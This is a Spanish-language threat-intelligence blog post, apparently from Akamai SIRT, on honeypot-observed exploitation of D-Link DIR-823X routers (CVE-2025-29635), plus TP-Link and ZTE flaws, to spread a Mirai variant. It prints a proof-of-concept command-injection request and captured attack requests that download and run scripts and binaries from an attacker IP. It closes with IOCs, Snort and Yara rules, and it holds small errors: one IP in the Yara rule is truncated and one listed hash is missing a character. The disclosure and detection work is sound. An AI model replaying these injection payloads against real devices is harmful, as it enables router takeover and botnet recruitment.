Conclusiones clave
El equipo de respuesta a incidentes e inteligencia en seguridad (SIRT) de Akamai ha identificado una explotación activa de la vulnerabilidad de inyección de comandos CVE-2025-29635 contra routers de la serie D-Link DIR-823X. Aunque los dispositivos se dejaron de comercializar en 2025, los atacantes están utilizando este defecto para desplegar variantes de la botnet Mirai.
El SIRT identificó por primera vez actividad en nuestra red global de señuelos en marzo de 2026. Se trata de la primera explotación activa notificada de estas vulnerabilidades desde su divulgación inicial en marzo de 2025.
Hemos incluido una lista de indicadores de compromiso (IOC) en esta entrada de blog para ayudar en la defensa contra esta amenaza.
Detección de intentos de explotación activa de D-Link
El SIRT de Akamai descubrió intentos de explotación activa de la vulnerabilidad de inyección de comandos D-Link CVE-2025-29635 en nuestra red global de señuelos a principios de marzo de 2026. Esta vulnerabilidad existe en los routers de la serie D-Link DIR-823X con versiones de firmware 240126 y 24082 y permite que un atacante autorizado ejecute comandos arbitrarios en dispositivos remotos enviando una solicitud POST al terminal /goform/set_prohibiting a través de la función correspondiente, lo que puede desencadenar la ejecución remota de comandos.
Análisis del defecto del firmware CVE-2025-29635
La vulnerabilidad CVE-2025-29635, que se divulgó públicamente a finales de marzo de 2025, es una vulnerabilidad de inyección de comandos en los routers de la serie D-Link DIR-823X que afecta a las versiones de firmware 240126 y 24082. Estos routers son dispositivos retirados a partir de septiembre de 2025, según una declaración del proveedor.
Los investigadores de seguridad Wang Jinshuai y Zhao Jiangting descubrieron e informaron del defecto, y aplicaron ingeniería inversa a la función sub_42232C en el archivo binario de la Figura 1. Encontraron que el valor de la función macaddr es copiado en la variable de comando por la función snprintf, después de lo cual se ejecuta la función system. Al crear de forma malintencionada el valor de macaddr, un atacante podría desencadenar la ejecución de comandos enviando una solicitud POST a /goform/set_prohibiting.
Los investigadores compartieron un ataque de prueba de concepto (PoC) pública con GitHub y la vincularon a la divulgación de CVE, pero desde entonces se ha eliminado (Figura 2). En el momento de escribir esta entrada de blog, esta vulnerabilidad no estaba en el catálogo de vulnerabilidades explotadas conocidas de CISA.
POST /goform/set_prohibiting HTTP/1.1
Host: 192.168.122.130
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 75
Origin: http://192.168.122.130
Connection: close
Referer: http://192.168.122.130/login.html
Cookie: sessionid=00000000000000000000000000000000; token=00000000000000000000000000000000
macaddr=||touch%20/set_prohibiting||&token=00000000000000000000000000000000
Los datos de los señuelos revelan campañas de botnet activas
El SIRT de Akamai descubrió intentos de explotación activa de la vulnerabilidad CVE-2025-29635 en nuestra red global de señuelos a principios de marzo de 2026 (Figura 3).
POST /goform/set_prohibiting HTTP/1.1
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
parameter=;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://88.214.20[.]14/dlink.sh -O dlink.sh; curl -o dlink.sh http://88.214.20[.]14/dlink.sh; wget http://88.214.20[.]14/dlink.sh; chmod 777 dlink.sh; sh dlink.sh; tftp 88.214.20[.]14 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 88.214.20[.]14; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 88.214.20[.]14 ftp1.sh ftp1.sh; sh ftp1.sh;
Gran parte de la solicitud que se muestra en la Figura 3 coincide con el ataque de PoC de la Figura 2, pero hay diferencias importantes. En primer lugar, este intento no contiene ciertos encabezados, como Referer y Accept-Language. No proporciona autenticación en forma de tokens o ID de sesión, ya sea en los encabezados o en el cuerpo.
Sin embargo, parece que es probable que el firmware no valide la presencia o validez de estos campos y valores. Con este defecto, el router extrae el valor que termina en el búfer de comandos del cuerpo de la solicitud sin comprobar de qué campo del formulario procede. Si el analizador trata cualquier par de valores o claves en el cuerpo como candidato para el campo macaddr, o simplemente copia todo el cuerpo en el búfer, un atacante podría proporcionar la carga útil maliciosa con cualquier nombre arbitrario, como "parameter".
Por lo tanto, aunque este intento de explotación tiene algunas diferencias clave con respecto al ataque de la PoC, se dirige a la misma ruta de código vulnerable y activa la misma llamada a system(), que ejecuta la cadena de comandos de shell proporcionada.
Análisis técnico de la variante Mirai
El script de shell cargado desde el intento de explotación es muy sencillo y directo, y recupera y carga una carga útil de malware Mirai, llamada “tuxnokill”, que admite varias arquitecturas desde la misma dirección IP de descarga 88.214.20[.]14. El malware en sí mismo parece ser una variante típica del malware Mirai con codificación XOR, con una clave de descifrado de 0x30. También tiene una cadena de ejecución de consola integrada en el código, que es estándar con las cargas útiles de Mirai, de “fallo de segmentación (núcleo volcado)”, así como una IP de descargador integrada en el código. Basado en conexiones de entorno de pruebas, la dirección IP de mando y control es 64.89.161[.]130, con un puerto de 44300.
A diferencia de otros atacantes que están empezando a hacer "vibe coding" las cargas útiles, suponemos que este atacante codificó su carga útil como antiguamente, tal y como indica la cadena integrada en el código "AI.NEEDS.TO.DIE" en su malware. Los comandos de ataque observados del malware son bastante comunes (Figura 4).
TCP STOMP
TCP ACK
TCP SYN
STD
GRE ETH
UDP DNS
UDP VSE
UDP PLAIN
UDP GENERIC
RAW
XMAS
HTTP NULL
Explotación observada de las vulnerabilidades de TP-Link y ZTE
Además de tener como objetivo la vulnerabilidad CVE-2025-29635, hemos observado que este atacante intentaba aprovechar otras dos vulnerabilidades en nuestra red de señuelos: La CVE-2023-1389 (Figura 5), que afecta a los dispositivos TP-Link Archer AX21 y a un router ZTE ZXV10 H108L con un ataque de ejecución remota de código (RCE) (Figura 6).
POST /cgi-bin/luci/;stok=/local?form=country HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept-Encoding: identity
Content-Type: application/x-www-form-urlencoded
operation=write&country=$(id>curl -o tplinkwan.sh http://88.214.20[.]14/tplinkwan.sh; wget http://88.214.20[.]14/tplinkwan.sh; chmod 777 tplinkwan.sh; sh tplinkwan.sh; tftp 88.214.20[.]14 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 88.214.20[.]14; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 88.214.20[.]14 ftp1.sh ftp1.sh; sh ftp1.sh)
POST /manager_dev_ping_t HTTP/1.1
Host: honeypot_ip:8083
User-Agent: Go-http-client/1.1
Accept-Encoding: identity
Content-Type: application/x-www-form-urlencoded
&Host=;$(cd /tmp;wget http://88.214.20[.]14/bins/tux.mips; chmod 777 tux.mips; ./tux.mips zte)&NumofRepeat=1&DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit
Conclusión
Las campañas de malware Mirai siguen plagando el sector, y gran parte del código fuente original sigue siendo reutilizado por diversos atacantes, tanto cualificados como no cualificados. La baja barrera de entrada y los posibles beneficios financieros son algunos de los incentivos que pueden incitar a las personas a entrar en el espacio de las botnets y convertirse en un ciberdelincuente.
Aunque este atacante puede estar totalmente en contra de la IA, muchos otros la verán como una herramienta que se puede aprovechar con fines malintencionados. Tanto si eso les ayuda a codificar malware como a identificar nuevas vulnerabilidades que explotar, el potencial de la IA está ahí, tanto para los atacantes como para los expertos en ciberprotección.
Muchos atacantes en el ámbito de las botnets suelen tener como objetivo vulnerabilidades antiguas. Especialmente cuando existen ataques de PoC públicos para estas vulnerabilidades, los atacantes pueden incorporarlas fácilmente a sus vectores de explotación.
Lamentablemente, muchas organizaciones de todo el mundo configurarán incorrectamente sus dispositivos, no aplicarán parches de forma puntual o seguirán utilizando dispositivos vulnerables que se han retirado, como es el caso de los routers de la serie D-Link 823X. Recomendamos encarecidamente a las organizaciones que supervisen regularmente la divulgación de vulnerabilidades relevantes para su infraestructura y que apliquen los parches, las actualizaciones y las medidas de seguridad adecuados para garantizar su propia seguridad operativa.
Información actualizada con Akamai
El SIRT de Akamai seguirá supervisando amenazas similares e informando sobre ellas tanto a nuestros clientes como a la comunidad de seguridad en general. Para mantenerse al día con el SIRT y otras publicaciones del grupo de inteligencia sobre seguridad de Akamai, consulte nuestra página de investigación y síganos en las redes sociales.
IoC
Hemos incluido una lista de IOC, así como las reglas de Snort y Yara, para ayudar a los expertos en protección.
Reglas de Snort para las IP maliciosas
alert ip any any -> [88.214.20.14, 64.89.161.130] any (
msg:"Possible Botnet Infrastructure Activity - Suspicious IP";
sid:2000003;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)
Reglas de Yara para muestras de malware
rule Mirai_Malware_IOCs_1
{
meta:
description = "Detects files containing IOCs associated with potential Mirai malware"
author = "Akamai SIRT"
date = "2026-03-27"
source = "Akamai SIRT"
malware_family = "Mirai"
version = "1.0"
strings:
$string1 = "segmentation fault (core dumped)"
$string2 = “AI.NEEDS.TO.DIE”
$ip1 = "88.214.20.14"
$ip2 = "64.89.161.13"
$hash1 = "32ca4b70e84787144574bfdb85a0092f3ebf524bb78febdd28d4c832b53fe100"
$hash2 = "be902e86ec68515e23a3387a21e80d098d258223ce562598c27ee6d89b83ff2b"
$hash3 = "d232c0960f24ba4bb369821b1bf2836d9e576a34fa3ddca2618c80b2f54277f7"
$hash4 = "7792f5c1d5c6c6415732ba0f63328549e19cc9c182c258c17b97b77fdb5541b8"
$hash5 = "72eff03b8573329818b38185074aa763e99d15f5709fecc44f9afece21dc06d8"
condition:
(
$string1 or
$string2 or
$ip1 or
$ip2 or
$hash1 or
$hash2 or
$hash3 or
$hash4 or
$hash5
)
}
Direcciones IPv4 maliciosas
88.214.20.14
64.89.161.130
Hashes SHA256
2ca4b70e84787144574bfdb85a0092f3ebf524bb78febdd28d4c832b53fe100
be902e86ec68515e23a3387a21e80d098d258223ce562598c27ee6d89b83ff2b
d232c0960f24ba4bb369821b1bf2836d9e576a34fa3ddca2618c80b2f54277f7
7792f5c1d5c6c6415732ba0f63328549e19cc9c182c258c17b97b77fdb5541b8
72eff03b8573329818b38185074aa763e99d15f5709fecc44f9afece21dc06d8
Etiquetas